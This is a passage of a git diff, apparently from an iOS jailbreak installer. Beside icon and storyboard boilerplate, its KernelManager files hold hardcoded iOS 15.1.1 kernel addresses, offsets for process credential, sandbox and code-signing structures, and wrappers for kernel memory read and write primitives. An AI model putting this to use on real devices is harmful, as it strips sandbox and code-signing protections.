0000000000000000000000000000000000000000..f89e7261c112a247d4b6c90fe4116ca17bd5ba7c GIT binary patch literal 9975 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 Kx6WlHBmV;mq`P_m literal 0 HcmV?d00001 diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/Contents.json b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/Contents.json new file mode 100644 index 0000000..e594077 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/Contents.json @@ -0,0 +1,116 @@ +{ + "images" : [ + { + "filename" : "40.png", + "idiom" : "iphone", + "scale" : "2x", + "size" : "20x20" + }, + { + "filename" : "60.png", + "idiom" : "iphone", + "scale" : "3x", + "size" : "20x20" + }, + { + "filename" : "58.png", + "idiom" : "iphone", + "scale" : "2x", + "size" : "29x29" + }, + { + "filename" : "87.png", + "idiom" : "iphone", + "scale" : "3x", + "size" : "29x29" + }, + { + "filename" : "80.png", + "idiom" : "iphone", + "scale" : "2x", + "size" : "40x40" + }, + { + "filename" : "120.png", + "idiom" : "iphone", + "scale" : "3x", + "size" : "40x40" + }, + { + "filename" : "120-1.png", + "idiom" : "iphone", + "scale" : "2x", + "size" : "60x60" + }, + { + "filename" : "180.png", + "idiom" : "iphone", + "scale" : "3x", + "size" : "60x60" + }, + { + "filename" : "20.png", + "idiom" : "ipad", + "scale" : "1x", + "size" : "20x20" + }, + { + "filename" : "40-1.png", + "idiom" : "ipad", + "scale" : "2x", + "size" : "20x20" + }, + { + "filename" : "29.png", + "idiom" : "ipad", + "scale" : "1x", + "size" : "29x29" + }, + { + "filename" : "58-1.png", + "idiom" : "ipad", + "scale" : "2x", + "size" : "29x29" + }, + { + "filename" : "40-2.png", + "idiom" : "ipad", + "scale" : "1x", + "size" : "40x40" + }, + { + "filename" : "80-1.png", + "idiom" : "ipad", + "scale" : "2x", + "size" : "40x40" + }, + { + "filename" : "76.png", + "idiom" : "ipad", + "scale" : "1x", + "size" : "76x76" + }, + { + "filename" : "152.png", + "idiom" : "ipad", + "scale" : "2x", + "size" : "76x76" + }, + { + "filename" : "167.png", + "idiom" : "ipad", + "scale" : "2x", + "size" : "83.5x83.5" + }, + { + "filename" : "1024.png", + "idiom" : "ios-marketing", + "scale" : "1x", + "size" : "1024x1024" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/Contents.json b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/Contents.json new file mode 100644 index 0000000..73c0059 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/Contents.json @@ -0,0 +1,6 @@ +{ + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Installer/TrollInstaller/TrollInstaller/Base.lproj/LaunchScreen.storyboard b/Installer/TrollInstaller/TrollInstaller/Base.lproj/LaunchScreen.storyboard new file mode 100644 index 0000000..865e932 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/Base.lproj/LaunchScreen.storyboard @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Installer/TrollInstaller/TrollInstaller/Base.lproj/Main.storyboard b/Installer/TrollInstaller/TrollInstaller/Base.lproj/Main.storyboard new file mode 100644 index 0000000..efcd79e --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/Base.lproj/Main.storyboard @@ -0,0 +1,83 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Installer/TrollInstaller/TrollInstaller/Info.plist b/Installer/TrollInstaller/TrollInstaller/Info.plist new file mode 100644 index 0000000..81ed29b --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/Info.plist @@ -0,0 +1,25 @@ + + + + + UIApplicationSceneManifest + + UIApplicationSupportsMultipleScenes + + UISceneConfigurations + + UIWindowSceneSessionRoleApplication + + + UISceneConfigurationName + Default Configuration + UISceneDelegateClassName + SceneDelegate + UISceneStoryboardFile + Main + + + + + + diff --git a/Installer/TrollInstaller/TrollInstaller/KernelManager.h b/Installer/TrollInstaller/TrollInstaller/KernelManager.h new file mode 100644 index 0000000..3a5b645 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/KernelManager.h @@ -0,0 +1,232 @@ +// +// KernelManager.h +// NonceSet15 +// +// Created by Lars Fröder on 02.06.22. +// + +#import + +struct StaticOffsets +{ + uint64_t kernel_base; + uint64_t kauth_cred_table_anchor; + uint64_t allproc; + uint64_t sandbox_secret; + uint64_t cs_debug; +}; + +struct SlidOffsets +{ + uint64_t kauth_cred_table_anchor; + uint64_t allproc; + uint64_t sandbox_secret; + uint64_t cs_debug; +}; + +struct UCredOffsets +{ + uint64_t posix_offset; + uint64_t label_offset; + uint64_t audit_offset; +}; + +struct TaskOffsets +{ + uint64_t itk_space_offset; + uint64_t t_flags_offset; + uint64_t rop_pid_offset; + uint64_t jop_pid_offset; + uint64_t disable_user_jop_offset; + uint64_t threads_offset; + uint64_t map_offset; +}; + +struct ThreadOffsets +{ + uint64_t task_threads_offset; + uint64_t disable_user_jop_offset; + uint64_t rop_pid_offset; + uint64_t jop_pid_offset; +}; + +struct ProcOffsets +{ + uint64_t task_offset; + uint64_t pid_offset; + uint64_t comm_offset; + uint64_t name_offset; + uint64_t ucred_offset; + uint64_t textvp_offset; + uint64_t textoff_offset; + uint64_t csflags_offset; + uint64_t fd_offset; +}; + +struct FileDescriptorOffsets +{ + uint64_t ofiles_offset; +}; + +struct FileProcOffsets +{ + uint64_t glob_offset; +}; + +struct FileGlobOffsets +{ + uint64_t data_offset; +}; + +struct ItkSpaceOffsets +{ + uint64_t is_table_offset; +}; + +struct IpcEntryOffsets +{ + uint32_t size; +}; + +struct CsBlobOffsets +{ + uint64_t team_id_offset; + uint64_t platform_binary_offset; + uint64_t pmap_cs_entry_offset; +}; + +struct UbcInfoOffsets +{ + uint64_t csblobs_offset; +}; + +struct VnodeOffsets +{ + union un { + uint64_t mountedhere; + uint64_t socket; + uint64_t specinfo; + uint64_t fifoinfo; + uint64_t ubcinfo; + } un_offset; + uint64_t type_offset; + uint64_t flag_offset; +}; + +struct VmMapOffsets +{ + uint64_t header_offset; + uint64_t pmap_offset; + uint64_t flag_offset; +}; + +struct VmHeaderOffsets +{ + uint64_t links_offset; + uint64_t numentry_offset; +}; + +struct VmMapLinkOffsets +{ + uint64_t prev_offset; + uint64_t next_offset; +}; + +struct CsDirEntryOffsets +{ + uint64_t trust_level_offset; +}; + +struct VmMapEntryOffsets +{ + uint64_t links_offset; + uint64_t flag_bits_offset; +}; + +/*struct PmapOffsets +{ + +}*/ + +#define un_mountedhere un.mountedhere +#define un_socket un.socket +#define un_specinfo un.specinfo +#define un_fifoinfo un.fifoinfo +#define un_ubcinfo un.ubcinfo + +struct StructOffsets +{ + struct ProcOffsets proc; + struct UCredOffsets ucred; + struct ItkSpaceOffsets itk_space; + struct TaskOffsets task; + struct ThreadOffsets thread; + struct IpcEntryOffsets ipc_entry; + struct FileDescriptorOffsets fd; + struct FileProcOffsets fproc; + struct FileGlobOffsets fglob; + struct VnodeOffsets vnode; + struct UbcInfoOffsets ubc_info; + struct CsBlobOffsets csblob; + struct VmMapOffsets vmmap; + struct CsDirEntryOffsets csdirentry; + struct VmHeaderOffsets vmheader; + struct VmMapLinkOffsets vmlink; + struct VmMapEntryOffsets vmentry; +}; + +NS_ASSUME_NONNULL_BEGIN + +@interface KernelManager : NSObject +{ +} + +@property (nonatomic) uint32_t (*kread_32_d)(uint64_t addr); +@property (nonatomic) uint64_t (*kread_64_d)(uint64_t addr); +@property (nonatomic) void (*kread_32_id)(uint64_t addr, uint32_t* outPtr); +@property (nonatomic) void (*kread_64_id)(uint64_t addr, uint64_t* outPtr); +@property (nonatomic) int (*kread_32_id_ret)(uint64_t addr, uint32_t* outPtr); +@property (nonatomic) int (*kread_64_id_ret)(uint64_t addr, uint64_t* outPtr); +@property (nonatomic, copy) int (^kread32_block)(uint64_t addr, uint32_t* outPtr); +@property (nonatomic, copy) int (^kread64_block)(uint64_t addr, uint64_t* outPtr); + +@property (nonatomic) void (*kwrite_32)(uint64_t addr, uint32_t value); +@property (nonatomic) void (*kwrite_64)(uint64_t addr, uint64_t value); +@property (nonatomic) int (*kwrite_32_ret)(uint64_t addr, uint32_t value); +@property (nonatomic) int (*kwrite_64_ret)(uint64_t addr, uint64_t value); +@property (nonatomic, copy) int (^kwrite32_block)(uint64_t addr, uint32_t value); +@property (nonatomic, copy) int (^kwrite64_block)(uint64_t addr, uint64_t value); + +@property (nonatomic) int (*kread_buf)(uint64_t addr, void* outBuf, size_t len); +@property (nonatomic) int (*kwrite_buf)(uint64_t addr, void* inBuf, size_t len); + +@property (nonatomic) void (*kcleanup)(void); + +@property (nonatomic) uint64_t kernel_slide; +@property (nonatomic) uint64_t kernel_base; + +@property (nonatomic) struct SlidOffsets slid_offsets; +@property (nonatomic) struct StaticOffsets static_offsets; +@property (nonatomic) struct StructOffsets struct_offsets; + +- (void)loadOffsets; +- (void)_loadSlidOffsets; +- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide; +- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base; + ++ (instancetype)sharedInstance; + +- (uint64_t)read64BitValueAtAddress:(uint64_t)addr; +- (uint32_t)read32BitValueAtAddress:(uint64_t)addr; +- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len; +- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize; +- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len; + +- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr; +- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr; +- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr; + +- (void)finishAndCleanupIfNeeded; +@end + +NS_ASSUME_NONNULL_END diff --git a/Installer/TrollInstaller/TrollInstaller/KernelManager.m b/Installer/TrollInstaller/TrollInstaller/KernelManager.m new file mode 100644 index 0000000..8c6ad21 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/KernelManager.m @@ -0,0 +1,438 @@ +// +// KernelManager.m +// NonceSet15 +// +// Created by Lars Fröder on 02.06.22. +// + +#import "KernelManager.h" + +@implementation KernelManager + ++ (instancetype)sharedInstance +{ + static KernelManager *sharedInstance = nil; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + sharedInstance = [[KernelManager alloc] init]; + }); + return sharedInstance; +} + +- (void)loadOffsets +{ + struct StaticOffsets staticOffsets; + // iPhone 13 Pro, 15.1.1 + staticOffsets.kernel_base = 0xFFFFFFF007004000; + staticOffsets.sandbox_secret = 0xFFFFFFF009DF2140; + staticOffsets.allproc = 0xFFFFFFF009D86AA0; + staticOffsets.kauth_cred_table_anchor = 0xFFFFFFF009DE0988; + staticOffsets.cs_debug = 0xFFFFFFF009D86990; + + self.static_offsets = staticOffsets; + + struct ProcOffsets proc; + proc.task_offset = 0x10; + proc.pid_offset = 0x68; + proc.comm_offset = 0x2C8; + proc.name_offset = 0x2D9; + proc.ucred_offset = 0xD8; + proc.textvp_offset = 0x2A8; + proc.textoff_offset = 0x2B0; + proc.csflags_offset = 0x300; + proc.fd_offset = 0xE0; + + struct UCredOffsets ucred; + ucred.posix_offset = 0x18; + ucred.label_offset = 0x78; + ucred.audit_offset = 0x80; + + struct TaskOffsets task; + task.map_offset = 0x28; + task.threads_offset = 0x58; + task.itk_space_offset = 0x330; + task.rop_pid_offset = 0x360; + task.jop_pid_offset = 0x368; + task.disable_user_jop_offset = 0x370; + task.t_flags_offset = 0x41C; + + struct ThreadOffsets thread; + thread.task_threads_offset = 0x400; + thread.disable_user_jop_offset = 0x167; + thread.rop_pid_offset = 0x168; + thread.jop_pid_offset = 0x170; + + struct ItkSpaceOffsets itk_space; + itk_space.is_table_offset = 0x20; + + struct IpcEntryOffsets ipc_entry; + ipc_entry.size = 0x18; + + struct FileDescriptorOffsets fd; + fd.ofiles_offset = 0x20; // proc + 256 + // numfiles: 0xC, proc + 244 + // fd_ofileflags: proc + 264 + + struct FileProcOffsets fproc; + fproc.glob_offset = 0x10; + + struct FileGlobOffsets fglob; + fglob.data_offset = 0x38; + + struct VnodeOffsets vnode; + vnode.un_offset.ubcinfo = 0x78; + vnode.type_offset = 0x70; + vnode.flag_offset = 0x54; + + struct UbcInfoOffsets ubc_info; + ubc_info.csblobs_offset = 0x50; + + struct CsBlobOffsets csblob; + csblob.team_id_offset = 0x80; + csblob.platform_binary_offset = 0xB8; + csblob.pmap_cs_entry_offset = 0xC0; + + struct VmMapOffsets vmmap; + vmmap.header_offset = 0x10; + vmmap.pmap_offset = 0x48; + vmmap.flag_offset = 0x11C; + + struct VmHeaderOffsets vmheader; + vmheader.links_offset = 0x0; + vmheader.numentry_offset = 0x20; + + struct VmMapLinkOffsets vmlink; + vmlink.prev_offset = 0x0; + vmlink.next_offset = 0x8; + + struct VmMapEntryOffsets vmentry; + vmentry.links_offset = 0x0; + vmentry.flag_bits_offset = 0x48; + + + // vm header: + // links: 0x00 + // nentries: 0x20 + // .. + + struct CsDirEntryOffsets csdirentry; + csdirentry.trust_level_offset = 0x9C; + + struct StructOffsets structOffsets; + structOffsets.proc = proc; + structOffsets.ucred = ucred; + structOffsets.task = task; + structOffsets.thread = thread; + structOffsets.itk_space = itk_space; + structOffsets.ipc_entry = ipc_entry; + structOffsets.fd = fd; + structOffsets.fproc = fproc; + structOffsets.fglob = fglob; + structOffsets.vnode = vnode; + structOffsets.ubc_info = ubc_info; + structOffsets.csblob = csblob; + structOffsets.vmmap = vmmap; + structOffsets.csdirentry = csdirentry; + structOffsets.vmheader = vmheader; + structOffsets.vmlink = vmlink; + structOffsets.vmentry = vmentry; + + self.struct_offsets = structOffsets; +} + +- (void)_loadSlidOffsets +{ + struct SlidOffsets slidOffsets; + slidOffsets.sandbox_secret = _static_offsets.sandbox_secret + self.kernel_slide; + slidOffsets.allproc = _static_offsets.allproc + self.kernel_slide; + slidOffsets.kauth_cred_table_anchor = _static_offsets.kauth_cred_table_anchor + self.kernel_slide; + slidOffsets.cs_debug = _static_offsets.cs_debug + self.kernel_slide; + self.slid_offsets = slidOffsets; +} + +- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide +{ + self.kernel_base = self.static_offsets.kernel_base + kernel_slide; + self.kernel_slide = kernel_slide; + [self _loadSlidOffsets]; +} + +- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base +{ + self.kernel_base = kernel_base; + self.kernel_slide = kernel_base - self.static_offsets.kernel_base; + [self _loadSlidOffsets]; +} + +- (uint64_t)read64BitValueAtAddress:(uint64_t)addr +{ + if(_kread_64_d) + { + return _kread_64_d(addr); + } + else + { + uint64_t outInt = 0; + int suc = 0; + + if(_kread_64_id) + { + _kread_64_id(addr, &outInt); + } + else if(_kread_64_id_ret) + { + suc = _kread_64_id_ret(addr, &outInt); + } + else if(_kread64_block) + { + suc = _kread64_block(addr, &outInt); + } + else + { + uint8_t* b = (uint8_t*)&outInt; + *(uint32_t *)b = [self read32BitValueAtAddress:addr]; + *(uint32_t *)(b + 4) = [self read32BitValueAtAddress:addr + 4]; + } + + if(suc != 0) + { + NSLog(@"ERROR reading kernel memory (%llX): %d", addr, suc); + } + + return outInt; + } + +} + +- (uint32_t)read32BitValueAtAddress:(uint64_t)addr +{ + if(_kread_32_d) + { + return _kread_32_d(addr); + } + else + { + uint32_t outInt = 0; + int suc = 0; + if(_kread_32_id) + { + _kread_32_id(addr, &outInt); + } + else if(_kread_32_id_ret) + { + suc = _kread_32_id_ret(addr, &outInt); + } + else if(_kread32_block) + { + suc = _kread32_block(addr, &outInt); + } + if(suc != 0) + { + NSLog(@"ERROR read kernel memory (%llX): %d", addr, suc); + } + return outInt; + } +} + +- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len +{ + //printf("read at %llX - 